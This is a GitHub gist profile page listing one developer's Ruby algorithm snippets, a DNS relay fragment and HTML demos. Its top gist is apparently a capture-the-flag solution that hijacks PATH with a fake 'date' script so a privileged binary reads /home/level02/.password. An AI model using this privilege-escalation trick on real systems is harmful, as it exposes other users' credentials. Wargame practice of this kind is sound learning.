Skip to content

Instantly share code, notes, and snippets.

View shadabahmed's full-sized avatar
🦋

Shadab Ahmed shadabahmed

🦋
View GitHub Profile
Level 1:
cd /tmp
echo "cat /home/level02/.password" > date
chmod +x date
PATH=`pwd`:$PATH
export PATH
/levels/level01
Level 2:
In javascript console before submitting the form:
@shadabahmed
shadabahmed / heap.rb
Created February 25, 2012 03:55
Heap Class - Options to create max heap or min heap. Insertion, Removal , Max and Sort methods available
class Heap
# Specify whether max heap or min heap
def initialize(p, max_heap = true)
@arr = Array.new p
@max_heap = max_heap
build
end
def size
@arr.size
@shadabahmed
shadabahmed / primes.rb
Created February 25, 2012 03:57
Primes - A class for finding upto nth prime .. optimizes by dividing by only already figured out primes
class Primes
# Initialize list of primes with 2
@@primes = [2]
@@current_prime = 1
# Reset the prime number generator
def self.reset
@@current_prime = 1
end
@shadabahmed
shadabahmed / bitfield.rb
Created March 6, 2012 07:10
BitField - Dynamically optimizes for 64 bit or 32 bit integers. Bitfield can be used to store a list of numbers and accessing the numbers in or(1) time
# Sample use:
# Initialize a bitfield with max size
# b = BitField.new(32768)
# Add numbers
# b.add(5)
# b.add(16768)
# Find Numbers
# b.has?(5)
# Print the internal state of BitField
# b.print
@shadabahmed
shadabahmed / gist:4951097
Last active December 13, 2015 17:49
Simple DNS Relay
.. initilized socket at port 53
data = server.recvfrom(Resolv::DNS::UDPSize)
sender_ip = data[1][2]
sender_port = data[1][1]
Resolv::DNS::Message::decode(data[0])
sock = UDPSocket.new(Socket::AF_INET)
sock.connect('8.8.8.8', 53)
sock.send(@query.encode, 0)
reply = sock.recv(Resolv::DNS::UDPSize)
@shadabahmed
shadabahmed / range_count_tree.rb
Last active December 14, 2015 17:38
Range Count Tree For problems like given n ranges, find the interval when maximum ranges intersect
# RangeCountTree
# A bst variant for fast retrieval of count of ranges which are intersecting given n ranges
#
# Creator : Shadab Ahmed
#
# Each node stores a range and the count of intervals which intersect with the range.
#
# We just follow these rules:
# 1. Any range which is greater than the current range is stored in the right subtree
# 2. Any range which is smaller than the current range is stored in the left subtree
@shadabahmed
shadabahmed / index.html
Created March 23, 2013 12:48
A CodePen by Shadab Ahmed.
<div class="rumor">
<div class="dropdown">
<label>Algorithm:</label>
<select id="algo">
</select>
&nbsp;
<label>Number of People:</label>
<input id="count" type="text" value="60" name="count"/>
<label>Speed:</label>
<select name="speed" id="speed">
@shadabahmed
shadabahmed / parens_permute.rb
Last active December 16, 2015 04:59
A tree for creating parenthesis permutation
require 'graphviz'
class LeveledBinaryTree
Node = Struct.new(:weight, :str, :left, :right)
attr_accessor :levels, :root
def initialize(clear_last_level = true)
@root = Node.new(1, '(')
@levels = {0 => [@root]}
@shadabahmed
shadabahmed / index.html
Created April 18, 2013 17:38
A CodePen by Shadab Ahmed.
<section>
<table class="grid">
<colgroup><col><col><col>
<colgroup><col><col><col>
<colgroup><col><col><col>
<tbody>
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
@shadabahmed
shadabahmed / index.html
Created April 19, 2013 09:43
A CodePen by Shadab Ahmed. Soduko Solver - Simple sudoko solver where we have atleast one unambigous cell all the time when solving the puzzle
<section>
<table class="grid">
<tbody>
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>
<tr> <td> <td> <td> <td> <td> <td> <td> <td> <td>